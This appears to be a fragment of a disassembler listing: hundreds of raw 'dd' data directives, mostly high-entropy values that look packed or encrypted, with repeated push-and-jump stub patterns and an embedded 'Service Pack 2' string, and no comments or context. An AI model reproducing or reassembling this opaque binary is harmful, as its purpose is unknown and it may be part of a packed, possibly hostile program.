		dd 0B70F064Eh, 0F983C9h, 16840Fh, 7A3B0000h, 158F0F0Ch
		dd 83000000h, 428B28EAh, 144A8B0Ch, 0F82BC12Bh,	1C247C89h
		dd 8C261h, 4928C283h, 0FFCF850Fh, 0E9E9FFFFh, 0BAFFFFFFh
		dd 9FD3Eh, 12E8h, 9A23B500h, 37A17998h,	3A43B276h, 2E21409Dh
		dd 0F3E517Fh, 58Ch, 0F0816600h,	0F5B1B98h, 18Eh, 0C381FC00h
		dd 74D6h, 0BA34E180h, 6E58F78Fh, 0DA88EA81h, 9BB46E58h
		dd 0BE563B8Bh, 63181C83h, 0F0F78158h, 81034DA8h, 1F374C6h
		dd 0ACEF815Ch, 600A21A5h, 4CCBA66h, 38F0Fh, 0B70F0000h
		dd 0EF8161CEh, 7A85A914h, 563B89F5h, 10E9h, 65D0C900h
		dd 1FD49949h, 1369B3DAh, 58361564h, 0EB83594Ah,	81C28B04h
		dd 1EAh, 18850F00h, 0BE000000h,	10135C2Dh, 1EE9h, 0D7486F00h
		dd 484FD4C9h, 1C84C737h, 666B7323h, 0E9C227B9h,	0FFFFFF84h
		dd 51A64908h, 0E9C4C2E7h, 15Eh,	7127BA0Fh, 0DA95ECE7h
		dd 6715893h, 0BEB6CFDFh, 365D54FDh, 0BCECA436h,	0C55DD500h
		dd 0D676D352h, 0FC94A4h, 0C1AEC441h, 5277CB50h,	9CACAC32h
		dd 6C46BF00h, 7390ADFCh, 0D6A33659h, 9C72E275h,	0DD0090BDh
		dd 9B8CE693h, 64A592A7h, 92A7ABDDh, 7A918F97h, 0B9F95CFCh
		dd 9BB1E496h, 9F47E4B5h, 0B6E592B6h, 9EBDF694h,	96B3EBB5h
		dd 9C93D0ECh, 7B97BF99h, 89F55CFDh, 0EDAFF493h,	0E3B2CD00h
		dd 0D4E594A6h, 5700C3B5h, 0F3622D44h, 2CAE29B0h, 34000000h
		dd 38000000h, 2	dup(0)
		dd 4000000h, 94000000h,	5000000h, 1000000h, 28000000h
		dd 200000Ah, 53000000h,	69767265h, 50206563h, 206B6361h
		dd 32h,	24h dup(0)
		dd 7CE90000h, 6800002Ch, 7DBD52Eh, 0FC58CFE9h, 0D67168FFh
		dd 0C5E907DBh, 68FFFC58h, 7DBD794h, 0FC58BBE9h,	0D8CC68FFh
		dd 0B1E907DBh, 68FFFC58h, 7DBDA2Ch, 0FC58A7E9h,	0DB7C68FFh
		dd 9DE907DBh, 68FFFC58h, 7DBDCD2h, 0FC5893E9h, 0DDAA68FFh
		dd 89E907DBh, 68FFFC58h, 7DBE312h, 0FC587FE9h, 0E38C68FFh
		dd 75E907DBh, 68FFFC58h, 7DBE52Dh, 0FC586BE9h, 0E9EE68FFh
		dd 61E907DBh, 68FFFC58h, 7DBEED6h, 0FC5857E9h, 0F3AC68FFh
		dd 4DE907DBh, 68FFFC58h, 7DBF5B4h, 0FC5843E9h, 0F62268FFh
		dd 39E907DBh, 68FFFC58h, 7DBF68Dh, 0FC582FE9h, 0F71568FFh
		dd 25E907DBh, 68FFFC58h, 7DBF927h, 0FC581BE9h, 0FA8D68FFh
		dd 11E907DBh, 68FFFC58h, 7DBFD33h, 0FC5807E9h, 0FF6CB8FFh
		dd 0AF048452h, 75B4C2h,	0B3188353h, 176B8BEh, 65427950h
		dd 0D79FD425h, 6175DE53h, 0D89ED324h, 0DA71E257h, 0BF98D15Fh
		dd 0EEDC576h, 0A3E7BE3Bh, 0AF359AD7h, 89C4F5B9h, 7719C577h
		dd 5FE042F4h, 0BB6882A5h, 405A9518h, 51A6E72Fh,	4C7D1386h
		dd 0A1CD51C9h, 0DA37C0Fh, 0ABF6600Bh, 0C81066C3h, 9E69E7F2h
		dd 5841787Bh, 7A164FDDh, 747C1058h, 56B10964h, 243FD181h
		dd 0BF473DF2h, 1C98F38Ah, 0C82DA101h, 0C3602BEh, 0C9A15533h
		dd 682AA6E7h, 7F6351Fh,	0DE112928h, 0B451E965h,	0E64C863Bh
		dd 0F43A53A4h, 0FD283EB3h, 0D07FFF90h, 69348FB7h, 0AE84366Eh
		dd 754DC9D5h, 7A000000h, 3C3871FFh, 778D751Bh, 9CAEBF2Ch
		dd 1ABB6FFEh, 911F9A10h, 56C14CC1h, 67BB1360h, 0CD55806h
		dd 67179AA2h, 4800BAFh,	0E68027FFh, 56DF5929h, 83153D17h
		dd 0C7346D34h, 5391AA05h, 4322D610h, 91F499BAh,	0B1788A6h
		dd 0A7E4A73Bh, 0DA071A29h, 0C4D3B78h, 0A5185579h, 31A04CDCh
		dd 0F893261Bh, 2AC12A7Ch, 0F3AE75DAh, 9D2EA0D8h, 16A374C6h
		dd 0E5000001h, 0EDDC5233h, 798785DDh, 0A2B8B53Eh, 6CAD75F8h
		dd 7ABC820Bh, 6DAE78F5h, 7ABB830Ch, 5DD45CF5h, 8796BEC8h
		dd 3E4D7E12h, 10A2759Ah, 85A7FF7Dh, 0A62262C0h,	0DD531CCDh
		dd 6EC3440Ah, 867D4405h, 76A43760h, 494D29D9h, 0BB17823Ah
		dd 4F840675h, 0F2791F66h, 5386EB2Ch, 0AE650C72h, 0B97A096Ah
		dd 39F6753Eh, 0CBECB540h, 4EBDAEF2h, 0AB6C9D31h, 0EFC1DD51h
		dd 9006109Ch, 0AFF6CC49h, 0D312F3Eh, 3CA6013Dh,	5EB590CBh
		dd 38571C98h, 6CC44842h, 0D17A9CAh, 0B6013AB6h,	0C4562720h
		dd 8303E3D6h, 4249612Eh, 6FAAC14Fh, 0DFDBFF82h,	0AAD98A45h
		dd 8CE92FF7h, 0A01C6F03h, 75324263h, 3B658D0h, 0E58EE323h
		dd 26209111h, 7142A517h, 0E7104807h, 0B2000028h, 8650016Ah
		dd 0B6C0B102h, 85510273h, 0B2C4AD1Eh, 7752FF70h, 0C62B6B3Ch
		dd 0DC5DD9ADh, 0C52A6F77h, 0D859DAACh, 0D359E07Bh, 0C576BDA2h
		dd 3326D8F7h, 0EA651352h, 89E483CEh, 83F041C1h,	94BD3273h
		dd 0D75333D6h, 9B7D0B62h, 3A1EB225h, 59D07D1Ch,	87A523D3h
		dd 79D8B2CEh, 405334A5h, 0FC614161h, 7A3DA575h,	8157C5F6h
		dd 0F5781A33h, 7DF4791Bh, 781364A5h, 9080D8FCh,	2BE77BCh
		dd 8F0B6C38h, 67F2ED7h,	8DFE9B22h, 922FE555h, 110EC39h
		dd 332E0000h, 0C5FD453h, 6574C546h, 0A1E81C9Ch,	4D204592h
		dd 71C6480Eh, 0C2829C1Ch, 0C5A1E32Ah, 30A5A287h, 0F445C59Dh
		dd 0FF6D1B99h, 5B850FFh, 0F677F83Dh, 0C0410964h, 0B3F4026Fh
		dd 632C8D0Ah, 9424694Fh, 0F9D1C92h, 0F392F038h,	0F3A19AE9h
		dd 0F63DFF6h, 52792BE9h, 0E5BB987Ah, 2760EC43h,	7C4827E7h
		dd 58911F9Ah, 0AD4827E7h, 0A62AAD0Bh, 0A4B95D62h, 77FC3C0Ah
		dd 4748A9EDh, 0B15C5833h, 1E931C24h, 31339EA2h,	83597120h
		dd 0CC0BAD02h, 2F3EAFF6h, 0C52A6C3Ah, 4CF53412h, 3A5365CAh
		dd 0FC0A6528h, 0F20F35BAh, 0E6FB6117h, 27A46F29h, 356F0000h
		dd 5DDBABC8h, 2C6B7BD8h, 41DCAAC7h, 2F6F77DCh, 0F9D0A9CAh
		dd 660B6CAEh, 0BC951AA0h, 670C6DAAh, 0B8991E9Fh, 0E11A9623h
		dd 36C576BCh, 53337327h, 231E2BD5h, 2E71045Bh, 0F939018Ch
		dd 2CE01997h, 6335CD52h, 86348501h, 6C956CEDh, 5ADDCD3Dh
		dd 0B2FDC0E0h, 73013FD3h, 60D15218h, 5FE0F7F3h,	48C995DAh
		dd 0B11F0E7h, 0CA2F6F9Ah, 1AD6ADC5h, 3A155802h,	0F3359908h
		dd 0A2B63A7Dh, 0C1409830h, 203FB457h, 0E77C26A2h, 0B12496D5h
		dd 0D066EA1Bh, 1E6D3F86h, 178C2E46h, 39AB7179h,	0D900A0B7h
		dd 0CFEB9AB3h, 7B6341FEh, 2FA56F3Bh, 804A24A8h,	13F2A32Eh
		dd 6149D2F4h, 0B7F3919Bh, 0D82D2B42h, 1D3D33BAh, 0B199CA91h
		dd 6D3F17F4h, 2861EF6Ah, 7DF49098h, 593D09Bh, 0AF2AAD23h
		dd 8EDD52D7h, 73ADB412h, 0C8F053E5h, 813DCC0Dh,	0AE0D7F0Eh
		dd 0ABEDF3CBh, 8B2D454Ah, 0C04CC94Ch, 7DE8FE87h, 0EB333ADCh
		dd 5A2C45AAh, 5BE424D9h, 2A4355DAh, 6852A7E4h, 64AD1452h
		dd 22E57A1Dh, 26816Eh, 6BD04C00h, 3BB80006h, 6CC95016h
		dd 37A4FF07h, 65CA4C1Ah, 1196ED0Ch, 23332091h, 15E192E7h
		dd 24321F90h, 86E58EE3h, 0BC0C3DD3h, 9261C576h,	0A55FE080h
		dd 0E62296D8h, 1B6A008Dh, 9AFFA03h, 0A8340D84h,	0DCC6D5D7h
		dd 1113A1ECh, 4C901C9Bh, 0FB02B601h, 0E87FE5BBh, 6A139373h
		dd 0B0C2CB2Ch, 97ED850Ah, 0B8CAA310h, 53D753B5h, 26931957h
		dd 71AA26B3h, 0C693144Fh, 0B8BF99F4h, 1495A469h, 5B95C0A3h
		dd 0AC96BBDDh, 0D54BCD01h, 4B254EE2h, 0F6CF95D6h, 9951ACA8h
		dd 1692D909h, 33916256h, 0B1D0B5D1h, 65BDCBE0h,	0D59A1F9Fh
		dd 4E7CEB88h, 0F4C6E668h, 79B3DDC6h, 18D93E9Ch,	0D698EA33h
		dd 3B9F14B0h, 0D864CF0Fh, 4BE1D84Eh, 22E55612h,	0C81642B3h
		dd 0DB8B17B3h, 568712EEh, 25333CDEh, 0C64A8D03h, 651F04B4h
		dd 0E4E9A9E3h, 35715145h, 0CB47A9C4h, 4AE2658Fh, 1A9F67DAh
		dd 0D138EC60h, 1B7D0875h, 226BCC49h, 9123FD90h,	0A8F3D346h
		dd 0A1E22843h, 0D2532350h, 885EE29h, 51A1283Dh,	67514521h
		dd 0B4ABDC70h, 2E0019DCh, 1A6DDA8Ch, 0E6A91611h, 2549B2h
		dd 23881400h, 93E0282Eh, 249118DEh, 8FFC272Fh, 1D9214E2h
		dd 495E1534h, 0FB0B68C9h, 4D193ABFh, 0FC0A67C8h, 0BE1D36BBh
		dd 0BB4475FBh, 0BA99C576h, 0DA5FE0C8h, 0AB210395h, 5CD9A92Ch
		dd 0B00092DBh, 0CD529277h, 7ED647DEh, 59DCD19Ch, 61A05DCh
		dd 20CD8EA3h, 522C5790h, 830AACCDh, 79F2D905h, 0D91088F7h
		dd 780BDDE3h, 860768AAh, 9B1B99F4h, 0D3D4707Ch,	2F40B5F3h
		dd 0D0F8501Bh, 8E2C8D0Ah, 4C3EDE5h, 0F3CAFB91h,	8D1FC44Eh
		dd 32A872FEh, 0C7C529A7h, 0A47D1C42h, 0FAA57658h, 77F57851h
		dd 0DC6F51F0h, 7F8209C5h, 0A77FBDA0h, 25FD9C05h, 36008DFEh
		dd 541781F2h, 84ABB158h, 9B1BEBD6h, 0CC605916h,	0B663289Bh
		dd 0F17C1EF0h, 2507CF73h, 14961263h, 0E72FD4C6h, 8453C94Bh
		dd 16E6E3BDh, 0D8B317FFh, 83AF67E5h, 975EF69Ch,	4A0629Ah
		dd 4F880491h, 9A04219h,	42195283h, 6D05A7A0h, 0F99F0C97h
		dd 0B00FF672h, 24FC48A5h, 0BE84FD92h, 0E179F667h, 0A61CFE8Ah
		dd 7DBA9D33h, 46BFCFFh,	0C9F9519Fh, 16C419FDh, 216141A1h
		dd 835BBDD0h, 440B3CD0h, 0CE6080F1h, 6D0277B8h,	2EF4C3D5h
		dd 1FE78CEDh, 83B4389Eh, 0D880F143h, 0FA117F01h, 237598B9h
		dd 4694CF75h, 3C47D25h,	23E94Dh, 368B400h, 0B300884Eh
		dd 471B8BEh, 0AF1C874Fh, 0FD72B4C2h, 693E7554h,	0DBABC829h
		dd 6D79DA5Fh, 0DCAAC728h
		dd 0DE7DD65Bh, 0B8A4D55Bh, 0DAF9C576h, 0C8533328h, 0F5780A63h
		dd 0D357EC2Dh, 1F79115Eh, 62D8424Eh, 1D4EE257h,	72CD5293h
		dd 54D8CDA0h, 0F0CE42AEh, 8CCF514Dh, 0D9A91C87h, 1391DC5Dh
		dd 2A3E1F8Bh, 0DD52D3B3h, 496AE8Eh, 7935634Fh, 0F27E39AFh
		dd 0E8C9788Bh, 35887C45h, 4B94E335h, 0F675FE39h, 3AF0467Ah
		dd 1927FEDEh, 0D324618Fh, 0DECF94B0h, 0E2F9B58Fh, 0AF6A2D9Bh
		dd 48CF597h, 2340D1AAh,	0DFD3DF49h, 235E5ACBh, 609798B2h
		dd 75FB52D4h, 7794B244h, 619A1699h, 0B67794B2h,	26AFB6E4h
		dd 0B5F6536Fh, 0D9576238h, 2B6F2C88h, 0F029A732h, 0AAFB6B29h
		dd 6B29F526h, 0C684AFBh, 2C41B2F6h, 6BE98416h, 0A6A407D8h
		dd 575332A5h, 0C44366D4h, 5EA01C6Fh, 0A1845130h, 1AA6E7C9h
		dd 94146510h, 3B54A5E6h, 85E75C27h, 0B326B107h,	2C52EC1Dh
		dd 1C6F4184h, 3D4D23A9h, 2DF5F3D4h, 5ED751F6h, 60EA333Ch
		dd 3890195Ah, 73F17C1Eh, 0C954EB85h, 2A78CC58h,	93BBAD7Eh
		dd 0AFF0B601h, 0DC5D294Ah, 0F78E95Bh, 1BEC788Dh, 229965h
		dd 0D3386400h, 0E350D89Eh, 0D421686Eh, 0DF4CD79Fh, 0CD226472h
		dd 0B9EEC5A4h, 8B5BF879h, 0BDC9AA0Fh, 8C5AF778h, 2ECDA60Bh
		dd 0B7F425ABh, 2A49C576h, 0D7533358h, 0F6750D62h, 58AEF30h
		dd 7C3BB173h, 8E4A8DF0h, 0D3582E8Eh, 0C7C3345Bh, 0F2F8A8AEh
		dd 6CADB3ABh, 0CAF0820Bh, 0BE10B9A9h, 5DF3E65Ch, 329BC85Ah
		dd 0EB4CCE94h, 0FF7D10A2h, 0EE0B6D52h, 0C2F379FCh, 17ECEAECh
		dd 0A316F675h, 7E1258C3h, 0ECEAED4Dh, 0E5AA10A2h, 0ED2760ECh
		dd 9A7CECEAh, 0ADEF6D00h, 18BFD3D9h, 8690DCA5h,	0A614C86Dh
		dd 36778DE7h, 1E0D7C1h,	1E8E27EBh, 9C19A0D1h, 92D9BFD3h
		dd 7C11F0E9h, 0D5D9FD02h, 1AD6D299h, 0C985A8A4h, 6787E6D6h
		dd 0F4D2100h, 0CC3F62B0h, 15EC5FC1h, 0C55EFBDBh, 26A2E982h
		dd 0E0A81D0Bh, 0C7286D35h, 46D06CC4h, 9B2861EFh, 9B7DBFA3h
		dd 59EBBAFDh, 0CDD92016h, 119F1259h, 45E035D6h,	0A51A8D87h
		dd 9BEC88D8h, 0F0A76E9Ch, 273936D8h, 715087FDh,	2DE3E1Bh
		dd 685D3073h, 0C5694CE4h, 9E7F6BECh, 42B79F4Dh,	2C1B7DAEh
		dd 8D0CD28Eh, 65536728h, 0A25A7626h, 0ED3FE355h, 0AE7443D5h
		dd 0F2670C6Dh, 4E1D9214h, 34328708h, 0C1733B5h,	43265A2Dh
		dd 0E000021h, 3A4C2596h, 0ADC75FEh, 394D268Fh, 0ED879E2h
		dd 33462B8Ch, 6ACF4F58h, 38B9FD09h, 69CE4B1Bh, 3CBDFE08h
		dd 77F5C417h, 0C576B73Eh, 33D2C493h, 92F12AA6h,	7446CD52h
		dd 5FD05119h, 2298820Eh, 0C6442297h, 0EB9E1A71h, 9CAAC27Fh
		dd 73D48659h, 6C0FBAD6h, 7949F54Eh, 0A4B6B738h,	0BD4F67C9h
		dd 86EB2CFAh, 0D49263EDh, 0D5430291h, 0A0A5371Fh, 0B9AE3C24h
		dd 0E32BF73Dh, 0FC3BC045h, 24C2177h, 34863485h,	81F6373Fh
		dd 60D640D0h, 4DBBD359h, 56E30DBFh, 9EC4A1DAh, 338008ECh
		dd 8A2C485Ah, 69518503h, 2194ED64h, 1C71DA41h, 0E8890786h
		dd 0A5D4E1E8h, 16ECEBCDh, 26302192h, 7F4691E2h,	204460B5h
		dd 0FC3B52D3h, 0C680F132h, 0A0F5AC71h, 6B661AEDh, 36000020h
		dd 2D47DEEh, 32442D86h,	1D57EF7h, 3640319Ah, 0FBCE83F4h
		dd 52A7E7C0h, 60D15521h, 51A6E3F3h, 64D55620h, 4FDD5CEFh
		dd 0C576B616h, 1A7A8C6Bh, 9A1F9A10h, 0A6E74CCCh, 0BD367214h
		dd 0D5D39AB0h, 77E07ABAh, 0DE4B9DBh, 0B8C8845Dh, 73E9073Ch
		dd 7BFEB95Bh, 231C4F5h,	0F47719E8h, 0F60A181h, 0A846CE62h
		dd 0D65FD962h, 0CD97ABC4h, 13A7E849h, 0C99E32A5h, 6A49C61Bh
		dd 0D4725A8Dh, 80417EFAh, 0BE96C07Eh, 11593DCh,	205D18E2h
		dd 44012405h, 0B8D34EDAh, 990D887h, 8ABB51C4h, 0F1C86635h
		dd 162C41AAh, 64115C3Eh, 19C6A73h, 0ACBFD39Ch, 8AAC188Ah
		dd 0EB321076h, 0EA1FEB82h, 69000000h, 0F12AA633h, 46CD5292h
		dd 838B1974h, 0E129E19h, 3D3985C6h, 0B9C4153Eh,	92C99713h
		dd 9071853Ah, 0B9748509h, 0B23E846Eh, 3DFAFBBh,	33A6D695h
		dd 4F776F52h, 8E2469CEh, 5F8953F7h, 5762340Ch, 0E7A60B8Fh
		dd 0CA5131A8h, 3187E82Dh, 4947465Ch, 9563C8CEh,	0D137B0FFh
		dd 10A11D29h, 0FDE44A57h, 0F17EF337h, 0DF5BE025h, 62F405Ah
		dd 8D18405Bh, 0C448CD48h, 0C445D493h, 518A46E8h, 0B8C445D5h
		dd 0BD4F0370h, 0D00883AEh, 7AAB0D5Eh, 5873h, 0CC2A9500h
		dd 74522E68h, 693A6B01h, 0FD8F422Eh, 0C90AF26Eh, 0D955136Fh
		dd 0C70B3E21h, 2B8C09D9h, 3895062h, 0B70A3DD2h,	26068527h
		dd 9F1A909Ah, 7BBE47C7h, 0BBCFA0FAh, 412FBDB0h,	60D956C9h
		dd 0D6EF68C5h, 169A1F92h, 0B6EADFE5h, 9715583Ah, 9CA2E7B2h
		dd 244DDF07h, 9A101A66h, 4DE1911Fh, 8780220Fh, 0C1B5346Fh
		dd 414EA7E1h, 96326229h, 53177A91h, 0D39C7E56h,	0CCA50A8Bh
		dd 77F879BAh, 850A6FAFh, 4B544712h, 0AEB83D7Bh,	0EE84096Ah
		dd 0E156D79Fh, 0D4256670h, 4DD33C05h, 0D6A4D8E6h, 5EC8D897h
		dd 9A0075B4h, 5048911Fh, 0A0F9ABE5h, 0ED692A8Ah, 8B07FB31h
		dd 0B393465Dh, 936D0075h, 0AD43B601h, 2C66857Ch, 99D25ED1h
		dd 0EE2C6685h, 441F6E4Ch, 0EF80F132h, 0A5100171h, 0DD592950h
		dd 64AA1527h, 0B8E223D0h, 9FF1B7B5h, 803C0BF6h,	0FC14AB36h
		dd 0B53A7B81h, 0C6376EB8h, 0BC3D7DC9h, 731E9FB3h, 1AAF3058h
		dd 0B497C54Bh, 7914289Ah, 0DE5FBBCCh, 0ADEEF859h, 0CB4E434Ch
		dd 0EF41445h, 169369CBh, 0E4B6CCA1h, 0F15AC189h, 33A4F19Ch
		dd 76AD56D7h, 0B8BEB305h, 42B70277h, 0EF37DAEh,	2D40D2CBh
		dd 0EB862EEh, 51692697h, 0EF80F533h, 0F67A3D5Bh, 0B1F83DB9h
		dd 0F699B86Ah, 0D42FFBABh, 5143EFCAh, 2D8203D9h, 3704A60h
		dd 303DB2F3h, 884FA0E6h, 73FC7DBAh, 0E0CF8CDFh,	0F93A9631h
		dd 885EDB78h, 0B53A7C1Dh, 41C288E3h, 7119FF0h, 47CA4691h
		dd 68319264h, 0DBE30C8h, 1D9612F0h, 0D1333A50h,	4A8D7C55h
		dd 9F71E9F1h, 0DA63A4B2h, 0A8CDA43h, 0FE7A13A5h, 0A55EE88Eh
		dd 91E975BDh, 5FE4E0A7h, 1C35930Eh, 0BEC7C0CDh,	3C51A6E8h
		dd 8D8EC745h, 51E3358Dh, 3E311C67h, 3724778Ch, 4CADEE34h
		dd 55DA5F27h, 37CC4E18h, 54197FECh, 6728890Ah, 5617841Fh
		dd 0D9019A87h, 0E82EF4BBh, 19740687h, 0BAFF5B6Ch, 0CD4A1C35h
		dd 10956D6Ch, 1A8FCC9Fh, 0F441C79Fh, 8EC7079Bh,	0E3358CD4h
		dd 0A9F43A51h, 0B5F68F10h, 2B445644h, 9EFA8D3Ch, 0ABBB9819h
		dd 0F484096Eh, 0B4018832h, 6D3DD306h, 1CA892FFh, 43A19B3Fh
		dd 1D97108Ch, 194C323h,	0FC91FA21h, 364D2766h, 0B756A127h
		dd 0D09DFB7Bh, 0D6DFF8A5h, 3C9CCD63h, 1FF1C21Fh, 3081064Ch
		dd 7DF23343h, 0C62B6C3Ah, 9DDAB1C9h, 8EDF50D1h,	0B20E89F8h
		dd 0C7471F71h, 3D2D5E72h, 0B082C21Fh, 14F6CF0Ah, 1C7E5F0h
		dd 0D7518A06h, 14A6C21Eh, 9E8CE7A6h, 7CD1FF2Ch,	68A5h
		dd 5233F300h, 88A7A496h, 1B632A64h, 0BB95E49Eh,	0B741B768h
		dd 386C05ACh, 6B4D4DE5h, 3263E96Ch, 87CD522Ch, 17A9E6A5h
		dd 4120970Dh, 6D624157h, 0DB0CA096h, 30CD51C6h,	3C313C5Eh
		dd 0D9E951B0h, 3F32F290h, 0B9755851h, 6A285BEh,	18F9C8BBh
		dd 41C9A143h, 684A2269h, 32784E0Bh, 0E9A60F89h,	0F0A4E7D1h
		dd 48h,	0D25333A6h, 0EC7A105Dh,	324845AAh, 4096135Bh, 52927BACh
		dd 5C3ED0CDh, 2DA38513h, 0CD562FAAh, 0A1C3AC32h, 7872A32Bh
		dd 0E5C7CD52h, 0E0A633A6h, 1391DC59h, 0EAB92621h, 50430A50h
		dd 89098585h
		dd 4C36975Ch, 29E19224h, 63D611BCh, 93215AD6h, 0A476CD52h
		dd 5292DB0Ch, 5B5E30CDh, 5292A4D5h, 5417F9CDh, 7168DE48h
		dd 932F68E4h, 0B284CD52h, 6F6AE6DBh, 0A0ED5801h, 0C37361ABh
		dd 95CBC78h, 8FA745ECh,	1AFC84FDh, 0C964A1C9h, 0EF8CD8E4h
		dd 68CD6561h, 490902Dh,	9F2DAC22h, 8860A1C8h, 31AE4D79h
		dd 0A30C8814h, 68B1CFFFh, 0CFE1AE80h, 3A08CF45h, 5FF37CFDh
		dd 6813990Ch, 12548E25h, 0F97EBF87h, 99D2DE74h,	0EE4489A2h
		dd 7943414Ch, 0B424208Dh, 380B2BF8h, 0BE5068E0h, 8AEF2BFBh
		dd 0AB1E6D05h, 7CD55ADBh, 51A2E5BDh, 84853532h,	0ED8003AEh
		dd 0D193E425h, 0DB6A9B32h, 36B25E2h, 0CE00001Bh, 7A8CE556h
		dd 0CA9CB53Eh, 798DE64Fh, 0CE98B922h, 7386EB4Ch, 0AA0F8F18h
		dd 0F879BDC9h, 0A90E8B5Bh, 0FC7DBEC8h, 0B7350457h, 0C576AF7Eh
		dd 2A1204D3h, 7553E78h,	80AA4917h, 55C08CDFh, 0A2C08830h
		dd 1B9E1416h, 0B84B8495h, 0B026B591h, 0A7237D59h, 83015061h
		dd 27B284DCh, 0FC55DA5Fh, 8D18ADEAh, 293B4F20h,	6F038CEDh
		dd 0B9FA4449h, 35850E38h, 76396F14h, 1A89C2h, 63C85400h
		dd 53A0E8EEh, 64D1581Eh, 4FBCE7EFh, 5DD25422h, 99ED5F4h
		dd 3B4B2889h, 0DD97AFFh, 3C4A2788h, 7EDD76FBh, 0B00435BBh
		dd 7A59C576h, 0B9101A88h, 52930233h, 58D457CDh,	0CD52931Fh
		dd 0A2F8A274h, 0AD7F9917h, 16AEE11Eh, 3EB279A5h, 0BFD03D68h
		dd 0DBBD3277h, 5AF4B090h, 82A67C33h, 0A34C56A3h, 8706C76Ch
		dd 0B937C2D5h, 965B3180h, 3C51A6E7h, 216C4E26h,	94726547h
		dd 0A4B29F14h, 0B87E0F64h, 0C06D0277h, 62A60295h, 980EA2DCh
		dd 0B6CCA116h, 1FF593AFh, 1C71C245h, 133F3486h,	0A212FFABh
		dd 0A21395E1h, 0B55ACBCDh, 938B3219h, 7E0EFB42h, 98564502h
		dd 7031B2C7h, 38BDFB57h, 3F78F481h, 94C792D4h, 0C6906B02h
		dd 0C9CF142h, 0C745940Ah, 3D001F77h, 107B3116h,	0D8B5BBFh
		dd 0B0D3E7A8h, 0BFE14F9Ch, 0ACDCAF37h, 0ABEAC810h, 61331B4Ch
		dd 0C90F9056h, 0A6E91243h, 0F3C5674Ch, 0C237787Eh, 3799BADh
		dd 46B7EEB4h, 675A3149h, 4F4935E9h, 9115ED18h, 303B4F20h
		dd 0F789EB34h, 9D6558ADh, 0BBFA651Bh, 82BA6C3h,	77CDD3B2h
		dd 8567EDACh, 48B8A06h,	0EDB564FBh, 164645B6h, 0B83D7C1Eh
		dd 0E5B9E8E9h, 0DAC32E67h, 0D2B18353h, 1E6D4341h, 0F162D758h
		dd 8453A4E5h, 9A1678BEh, 53DADA61h, 0B9B6E4B6h,	0FB8DCAA1h
		dd 4E14A319h, 0B02568C9h, 609E321Ch, 7EEC512Dh,	0E0A6267Ch
		dd 0B791DC59h, 0BAEB81F4h, 0F25777Ch, 0FF72EE7Dh, 0BC0007ACh
		dd 0BD5412A4h, 75FB1B91h, 18E87EB2h, 69B30000h,	1874F04h
		dd 70B7BFB4h, 1D884E03h, 73B3C3B0h, 3D7455FEh, 0AAC7286Ah
		dd 78D95EDCh, 0ABC8296Eh, 7CD55ADBh, 0A5D65ADFh, 0FAC576ADh
		dd 0D22A27DBh, 81490B0Ah, 4E1E8409h, 0C388804h,	657BECE7h
		dd 3A08CF20h, 60F27BFCh, 0BC5E320Dh, 0ABFD9346h, 63F51FE1h
		dd 0DAB31883h, 96C7C5C8h, 40846C19h, 1C992662h,	0DAC0D29Bh
		dd 64E5E193h, 9E33E33Bh, 0B364951Bh, 0D7B903E1h, 29F9BC94h
		dd 28008BECh, 0F60D152h, 1F9A1D7Bh, 1F6EC347h, 0EE63D057h
		dd 775204FCh, 0D87F721Eh, 89000001h, 0DE9C0E1Ah, 5FD45333h
		dd 0AEEA7C0Eh, 5B324845h, 2953EA66h, 0B48DEB11h, 57C56778h
		dd 0DC7E6226h, 297D1174h, 8AEF2F35h, 86728503h,	7B47BD02h
		dd 4CC8DC89h, 7FB834C1h, 0D44CA7DBh, 90E52442h,	40206BFFh
		dd 4ADCB48Dh, 12BEF775h, 81134CA8h, 0ECC9C6E2h,	0ABEDBFA1h
		dd 0E1FB6733h, 9E0C1A9Bh, 1A7525DCh, 0FDDB9D0Dh, 7722049Dh
		dd 428F6C9Eh, 79000000h, 2E6A0C1Ah, 0F6A41591h,	0C1B7E179h
		dd 99A09D33h, 69D1EEE9h, 21BB1525h, 0E197DC40h,	0C6C59DADh
		dd 0B229E26Eh, 0CEA6C6B8h, 6733AEECh, 8BB15233h, 0F9683988h
		dd 86DAC72h, 0F2851592h, 5Bh, 9E0C1AA8h, 0E0A633DCh, 0FE94D95Eh
		dd 2FFBF16Fh, 0BF2A2122h, 0CACDC0Dh, 0B348C999h, 0D8950368h
		dd 0CADABC2h, 0E1462C62h, 313D976Eh, 6CF778BDh,	0A2E9C509h
		dd 33AAF0C2h, 0B62D753h, 59E0E496h, 53339EDCh, 0B6EF7DD3h
		dd 0BCD5292h, 6BFC8F29h, 6C0D986Eh, 0B2C8C52Ah,	4D18508h
		dd 6C9E7722h, 7F8Fh, 0A6337900h, 5292F12Ah, 127446CDh
		dd 424E1D96h, 333365D5h, 6EA0769Dh, 0A74120D5h,	0A9B5D23Ah
		dd 6F639418h, 0D6B8C46Eh, 1465A2C4h, 28A4E77Bh,	679B2542h
		dd 0DA381995h, 4E200C0h, 475B3499h, 0BDC1803Ch,	8AE16291h
		dd 0EE82F7AAh, 0DFA05ABDh, 13ED8012h, 29703681h, 0DCAFC3CCh
		dd 0C05233AAh, 9D43B919h, 29EDE0ABh, 9DDB58E0h,	0BBFEC415h
		dd 12F62B3Ah, 0CB6E6743h, 3AF28EC0h, 0A8000000h, 0DB9D0D1Ah
		dd 64139D33h, 4732178Ch, 9CFDEDC8h, 76940F10h, 41F4D4FDh
		dd 52937AABh, 0E008CFCDh, 450B5D1Bh, 55237523h,	58E06733h
		dd 52339DDBh, 205CB75Dh, 283B5220h, 0FE1FF272h,	1AA8FFFFh
		dd 911F9A10h, 43CCFE92h, 51FDF1B3h, 88596C1Bh, 68231C96h
		dd 5830A2Ah, 0D567C29Dh, 33A68860h, 5A5DD253h, 421851DFh
		dd 0CB6DB462h, 67F267C0h, 0D4991E9Fh, 41B9F2BEh, 4B0EB462h
		dd 624194C5h, 7147E9B4h, 1C868E1Ah, 83730F9Dh, 0C992DC44h
		dd 83BC511Ah, 0B06E49A2h, 1E6DA105h, 0A188526Eh, 58DB7563h
		dd 0E9A60F8Ah, 202B5CF0h, 0AE80745Eh, 5A7810Ch,	44A9F4D2h
		dd 3C4C172Bh, 1F8741D3h, 0E9E7A4E7h, 77BFF600h,	88CB62B1h
		dd 0A61BA705h, 0D0A78DE7h, 2F3EB7F2h, 0B02B76FDh, 8785C678h
		dd 910BA8h, 2A0D0000h, 0C33C0DC4h, 4C3CE273h, 13991C5Eh
		dd 3D47B9E2h, 36165537h, 1378A383h, 27A5E87Ah, 52D8FF43h
